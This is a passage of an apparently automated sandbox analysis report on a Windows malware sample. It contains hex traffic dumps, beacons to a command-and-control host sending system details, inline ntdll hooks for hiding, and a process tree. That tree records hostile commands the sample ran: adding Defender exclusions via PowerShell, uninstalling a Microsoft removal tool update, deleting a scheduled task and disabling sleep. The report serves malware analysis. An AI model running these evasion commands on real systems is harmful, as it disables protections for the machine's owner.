2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 83 ec 20 80 3d ea ba 2b 00 00 74 08 48 83 c4 20 5b 5f 5e c3 c6 05 d9 ba 2b 00 01 48 8b 35 b2 79 00 00 8b 06 83 f8 ff 75 1f b8 ff ff ff ff 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 8d 48 02 ff c0 48 83 3c ce 00 75 f4 85 c0 74 25 89 c7 48 ff cf 48 89 fb 0f 1f 84 00 00 00 00 00 48 8b 44 fe 08 ff 15 dd e8 2b 00 48 ff cb 85 ff 48 89 df 75 eb 48 8d 0d c4 fe ff ff 48 83 c4 20 5b 5f 5e e9 28 fc ff ff cc cc cc cc cc cc cc cc 31 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57 48 83 ec 28 48 8b 05 63 79 00 00 83 38 02 74 06 c7 00 02 00 00 00 83 fa 01 74 3c 83 fa 02 75 41 48 8d 35 2f 8f 00 00 48 8d 3d 28 8f 00 00 48 39 f7 75 14 eb 2c 66 0f 1f 84 00 00 00 00 00 48 83 c7 08 48 39 fe 74 1a 48 8b 07 48 85 c0 74 ef ff 15 51 e8 2b 00 eb e7 ba 01 00 00 00 e8 1d 09 00 00 Data Ascii: =+tH [_^+H5yufffff.HH<ut%HHHD+HHuHH [_^(1VWH(Hcy8tt<uAH5/H=(H9u,fHH9tHHtQ+
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 00 4a 8d 0c fd 00 00 00 00 4c 8d 24 89 4e 89 74 20 20 42 c7 04 20 00 00 00 00 e8 8b 08 00 00 41 8b 4e 0c 48 01 c1 48 8b 05 a5 b5 2b 00 4a 89 4c 20 18 48 8d 54 24 28 41 b8 30 00 00 00 ff 15 bf 8d 00 00 48 85 c0 0f 84 91 00 00 00 8b 44 24 4c 83 f8 07 7e 13 83 f8 08 74 51 83 f8 40 74 4c 3d 80 00 00 00 74 45 eb 10 41 b8 04 00 00 00 83 f8 02 74 0b 83 f8 04 74 33 41 b8 40 00 00 00 48 8b 4c 24 28 48 8b 05 48 b5 2b 00 4f 8d 14 bf 4e 8d 0c d0 4a 89 4c d0 08 48 8b 54 24 40 4a 89 54 d0 10 ff 15 53 8d 00 00 85 c0 74 52 ff 05 29 b5 2b 00 48 89 f1 48 89 da 49 89 f8 e8 8b 6f 00 00 90 48 83 c4 58 5b 5f 5e 41 5c 41 5e 41 5f c3 48 8d 0d dc 75 00 00 48 89 f2 e8 3d 00 00 00 41 8b 56 08 48 8b 05 ea b4 2b 00 4b 8d 0c bf 4c 8b 44 c8 18 48 8d 0d d9 75 00 00 e8 1d 00 00 00 ff 15 Data Ascii: JL$Nt B ANHH+JL HT$(A0HD$L~tQ@tL=tEAtt3A@HL$(HH+ONJLHT$@JTStR)+HHIoHX[_^A\A^A_HuH=AVH+KLDHu
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: b0 2b 00 01 00 00 00 e9 de 00 00 00 e8 d7 f6 ff ff e9 d4 00 00 00 83 3d 83 b0 2b 00 00 0f 84 c7 00 00 00 48 8d 0d 7e b0 2b 00 ff 15 30 88 00 00 48 8b 3d 99 b0 2b 00 48 85 ff 0f 84 9d 00 00 00 48 8b 1d 49 88 00 00 4c 8b 35 1a 88 00 00 eb 11 0f 1f 84 00 00 00 00 00 48 8b 7f 10 48 85 ff 74 7c 8b 0f ff d3 48 89 c6 41 ff d6 85 c0 75 e9 48 85 f6 74 e4 48 8b 47 08 48 89 f1 ff 15 ff dd 2b 00 eb d5 48 8d 0d 1e b0 2b 00 ff 15 e8 87 00 00 8b 05 0a b0 2b 00 83 f8 01 75 4f 48 8b 0d 2e b0 2b 00 48 85 c9 74 12 90 48 8b 71 10 e8 57 6b 00 00 48 89 f1 48 85 f6 75 ef 48 c7 05 0c b0 2b 00 00 00 00 00 c7 05 d2 af 2b 00 00 00 00 00 48 8d 0d d3 af 2b 00 ff 15 7d 87 00 00 eb 0d 48 8d 0d c4 af 2b 00 ff 15 8e 87 00 00 b8 01 00 00 00 48 83 c4 28 5b 5f 5e 41 5e c3 cc cc cc cc cc cc Data Ascii: +=+H~+0H=+HHIL5HHt\|HAuHtHGH+H++uOH.+HtHqWkHHuH++H+}H+H([_^A^
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 98 00 00 00 b9 05 00 00 00 31 d2 45 31 c0 e8 60 ee ff ff 85 c0 0f 88 ef 00 00 00 48 8b 3c 25 40 00 00 00 80 3d 6b ab 2b 00 00 0f 84 0d 06 00 00 48 8d b4 24 38 01 00 00 80 3d c1 ac 2b 00 00 74 5a 66 0f 6f 05 9d ac 2b 00 66 0f fd 05 25 6e 00 00 66 0f db 05 2d 6e 00 00 66 0f 7f 05 85 ac 2b 00 f3 0f 7e 05 8d ac 2b 00 66 0f fd 05 25 6e 00 00 66 0f db 05 2d 6e 00 00 66 0f d6 05 75 ac 2b 00 8b 05 77 ac 2b 00 83 c0 2d 0f b6 c0 66 89 05 6a ac 2b 00 c6 05 65 ac 2b 00 00 48 8d 15 44 ac 2b 00 41 b8 0c 00 00 00 48 89 f9 e8 56 65 00 00 c7 84 24 30 01 00 00 30 00 00 00 66 0f ef c0 f3 0f 7f 06 c7 46 10 00 00 00 00 f3 0f 7f 46 18 48 8b 04 25 50 00 00 00 48 89 84 24 d8 00 00 00 48 c7 84 24 e0 00 00 00 00 00 00 00 48 8d 4c 24 58 4c 8d 84 24 30 01 00 00 4c 8d 8c 24 d8 00 00 Data Ascii: 1E1`H<%@=k+H$8=+tZfo+f%nf-nf+~+f%nf-nfu+w+-fj+e+HD+AHVe$00fFFH%PH$H$HL$XL$0L$
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 4c 89 64 24 40 8b 84 24 c8 03 00 00 89 44 24 38 0f 11 74 24 20 c7 44 24 30 00 00 00 00 41 b8 ff ff 1f 00 41 b9 ff ff 1f 00 e8 7a e8 ff ff 48 c7 c1 ff ff ff ff 48 8d 54 24 60 4c 8d 84 24 90 00 00 00 41 b9 00 80 00 00 e8 2e e8 ff ff 48 c7 c1 ff ff ff ff 48 89 da 49 89 f0 41 b9 00 80 00 00 e8 16 e8 ff ff 48 8b 4c 24 68 e8 a3 e7 ff ff 48 8b 4c 24 58 e8 99 e7 ff ff 0f 28 b4 24 40 03 00 00 48 81 c4 58 03 00 00 5b 5d 5f 5e 41 5c 41 5d 41 5e 41 5f c3 c6 05 12 a7 2b 00 01 48 b8 9d 00 80 00 80 00 9d 00 48 89 05 f7 a6 2b 00 66 c7 05 f6 a6 2b 00 41 00 48 8d 0d b7 00 00 00 e8 62 e6 ff ff c6 05 6b a5 2b 00 01 80 3d de a6 2b 00 00 0f 85 5e fb ff ff e9 95 fb ff ff c6 05 bc a6 2b 00 01 66 0f 6f 05 1a 68 00 00 66 0f 7f 05 92 a6 2b 00 48 b8 01 00 38 00 4b 00 38 00 48 89 05 Data Ascii: Ld$@$D$8t$ D$0AAzHHT$`L$A.HHIAHL$hHL$X($@HX[]_^A\A]A^A_+HH+f+AHbk+=+^+fohf+H8K8H
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: c2 0f 83 2b fe ff ff 88 44 15 00 48 ff c2 e9 1f fe ff ff 48 8b 16 48 89 e9 e8 14 00 00 00 48 89 e8 48 83 c4 40 5b 5d 5f 5e 41 5e c3 cc cc cc cc cc cc 56 57 53 48 83 ec 20 48 85 d2 74 67 48 89 d6 48 89 cf 0f b6 19 80 3d a8 a0 2b 00 00 0f 84 dc 00 00 00 80 3d 18 b0 2b 00 00 74 3a 66 0f 6f 05 bd 63 00 00 66 0f 6f 0d e5 af 2b 00 66 0f fc c8 66 0f 7f 0d d9 af 2b 00 66 0f fc 05 e1 af 2b 00 66 0f 7f 05 d9 af 2b 00 80 05 e2 af 2b 00 e7 c6 05 dc af 2b 00 00 32 1d b5 af 2b 00 88 1f 48 83 fe 01 75 08 48 83 c4 20 5b 5f 5e c3 44 0f b6 05 be af 2b 00 66 0f 6f 05 95 af 2b 00 66 0f 6f 0d 9d af 2b 00 b8 01 00 00 00 0f b6 0d a1 af 2b 00 48 8d 15 7a af 2b 00 66 0f 6f 15 42 63 00 00 eb 17 41 89 c2 41 83 e2 1f 45 32 0c 12 44 88 0c 07 48 ff c0 48 39 c6 74 ac 44 0f b6 0c 07 45 Data Ascii: +DHHHHH@[]_^A^VWSH HtgHH=+=+t:focfo+ff+f+f+++2+HuH [_^D+fo+fo++Hz+foBcAAE2DHH9tDE
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 00 00 00 48 8d b4 24 b0 00 00 00 ba 00 00 11 c0 49 89 f1 e8 fa dc ff ff 85 c0 78 3b 48 8b 4c 24 60 0f 11 74 24 38 8b 44 24 74 89 44 24 30 48 8b 84 24 c8 00 00 00 48 89 44 24 28 48 89 74 24 20 31 d2 45 31 c0 45 31 c9 e8 d4 dc ff ff 48 8b 4c 24 60 e8 f7 dc ff ff 0f 28 b4 24 f0 04 00 00 0f 28 bc 24 00 05 00 00 44 0f 28 84 24 10 05 00 00 48 81 c4 28 05 00 00 5b 5d 5f 5e 41 5c 41 5d 41 5e 41 5f c3 c6 05 17 9b 2b 00 01 48 b8 8d 00 70 00 70 00 8d 00 48 89 05 fc 9a 2b 00 66 c7 05 fb 9a 2b 00 31 00 48 8d 0d 24 00 00 00 e8 af db ff ff c6 05 b0 9a 2b 00 01 80 3d e3 9a 2b 00 00 0f 85 1a fe ff ff e9 51 fe ff ff cc cc cc cc cc cc 66 c7 05 c7 9a 2b 00 00 00 48 c7 05 b4 9a 2b 00 00 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc 66 c7 05 b7 9b 2b 00 00 00 48 c7 05 a4 9b 2b Data Ascii: H$Ix;HL$`t$8D$tD$0H$HD$(Ht$ 1E1E1HL$`($($D($H([]_^A\A]A^A_+HppH+f+1H$+=+Qf+H+f+H+
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 42 0f b7 44 3e 06 49 83 c5 28 39 c5 0f 83 a3 00 00 00 41 8b 45 1c 85 c0 48 89 f9 48 ba df 6b 05 ab af 49 01 7d 48 0f 49 ca 4d 89 e6 4c 0f 49 f3 a9 00 00 00 20 4c 0f 44 f1 48 b8 23 94 fa 54 50 b6 fe 82 49 01 c6 48 8b 4c 24 40 41 8b 55 04 45 8b 4d 08 48 03 54 24 38 45 8b 45 0c 49 01 f0 48 c7 44 24 20 00 00 00 00 e8 d9 d7 ff ff 44 89 f0 83 e0 fe 83 f8 04 74 86 41 8b 45 04 48 03 44 24 38 48 89 44 24 70 41 8b 45 00 48 89 44 24 58 48 8b 4c 24 40 48 8d 44 24 6c 48 89 44 24 20 48 8d 54 24 70 4c 8d 44 24 58 45 89 f1 e8 b3 d8 ff ff e9 49 ff ff ff 48 8d 7c 24 70 41 b8 d0 04 00 00 48 89 f9 31 d2 e8 84 50 00 00 c7 84 24 a0 00 00 00 02 00 10 00 48 8b 4c 24 48 48 89 fa e8 37 d7 ff ff 85 c0 78 70 42 8b 44 3e 28 48 03 44 24 38 48 89 84 24 f0 00 00 00 48 8b 4c 24 48 48 8d Data Ascii: BD>I(9AEHHkI}HIMLI LDH#TPIHL$@AUEMHT$8EEIHD$ DtAEHD$8HD$pAEHD$XHL$@HD$lHD$ HT$pLD$XEIH\|$pAH1P$HL$HH7xpBD>(HD$8H$HL$HH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49735	172.67.206.184	443	7780	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-14 21:41:46 UTC	228	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 487 Content-Type: application/json Host: wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org User-Agent: cpp-httplib/0.12.6
2024-07-14 21:41:46 UTC	487	OUT	Data Raw: 7b 22 69 64 22 3a 22 63 77 7a 79 68 63 6a 70 67 67 6c 74 62 6d 6a 78 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 36 34 38 33 35 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 50 5f 48 45 50 4b 45 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 34 2e 30 22 2c 22 61 63 74 69 76 65 77 69 6e 64 6f 77 22 3a 22 52 75 6e 6e 69 6e 67 20 61 73 20 53 79 73 74 65 6d 22 2c 22 72 75 6e 74 69 6d 65 22 3a 31 2c Data Ascii: {"id":"cwzyhcjpggltbmjx","computername":"648351","username":"SYSTEM","gpu":"P_HEPKE","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.0","activewindow":"Running as System","runtime":1,
2024-07-14 21:41:46 UTC	652	IN	HTTP/1.1 200 OK Date: Sun, 14 Jul 2024 21:41:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSpR%2BBjBEWraTt91roIhSVrZkBfirBfkgiv%2Fn5032ekl5ezQmIoVBxoIJU5JQtOxUkgiro9x6yz3cumSWud%2FudCV2t%2B8k9xD286fCfy3ih1r1jnqTtisEWvJvNTypSID0RQ8ft45dPrtfxlZ6rZftflubSorbgSd15YXutUNzOridkxgP%2FEM1eh1QleKkU1hL9jSdmOhEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a34adc3b953183d-EWR alt-svc: h3=":443"; ma=86400
2024-07-14 21:41:46 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-14 21:41:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49744	172.67.206.184	443	7780	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-14 21:42:44 UTC	228	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 503 Content-Type: application/json Host: wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org User-Agent: cpp-httplib/0.12.6
2024-07-14 21:42:44 UTC	503	OUT	Data Raw: 7b 22 69 64 22 3a 22 63 77 7a 79 68 63 6a 70 67 67 6c 74 62 6d 6a 78 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 36 34 38 33 35 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 50 5f 48 45 50 4b 45 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 34 2e 30 22 2c 22 61 63 74 69 76 65 77 69 6e 64 6f 77 22 3a 22 52 75 6e 6e 69 6e 67 20 61 73 20 53 79 73 74 65 6d 22 2c 22 72 75 6e 74 69 6d 65 22 3a 36 30 Data Ascii: {"id":"cwzyhcjpggltbmjx","computername":"648351","username":"SYSTEM","gpu":"P_HEPKE","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.0","activewindow":"Running as System","runtime":60
2024-07-14 21:42:44 UTC	646	IN	HTTP/1.1 200 OK Date: Sun, 14 Jul 2024 21:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WT8UOs9PSjcybViy9XuMg%2BfgDmTorF3LLosmo4u4oQ1tmaWAY0Vaw3etT9KziJhUHIh2owRn9DlhRLEiSEryRKfvJOCl9WoLHnfNFb6XNNCUjLloaRc32b8QX6MH9upKK90SIgE5MVl9v7gVo%2BSNvOIZDfJuXvXMvX54C5twojvkuU29UB83HkunAONGnJDq9Sdn6sEXWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a34af30bff61982-EWR alt-svc: h3=":443"; ma=86400
2024-07-14 21:42:44 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-14 21:42:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	1
Start time:	17:41:22
Start date:	14/07/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe"
Imagebase:	0x3e0000
File size:	38'400 bytes
MD5 hash:	1547E40089B1B06C2E27658C4F478466
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:41:36
Start date:	14/07/2024
Path:	C:\Windows\SysWOW64\system64x.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\system64x.exe"
Imagebase:	0x7ff762440000
File size:	2'870'272 bytes
MD5 hash:	4471F946569BFA17D68108068D7A17A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:41:36
Start date:	14/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:41:36
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6f0230000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff679bb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff679bb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff679bb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff679bb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff765480000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff7ec9c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:41:39
Start date:	14/07/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff724960000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
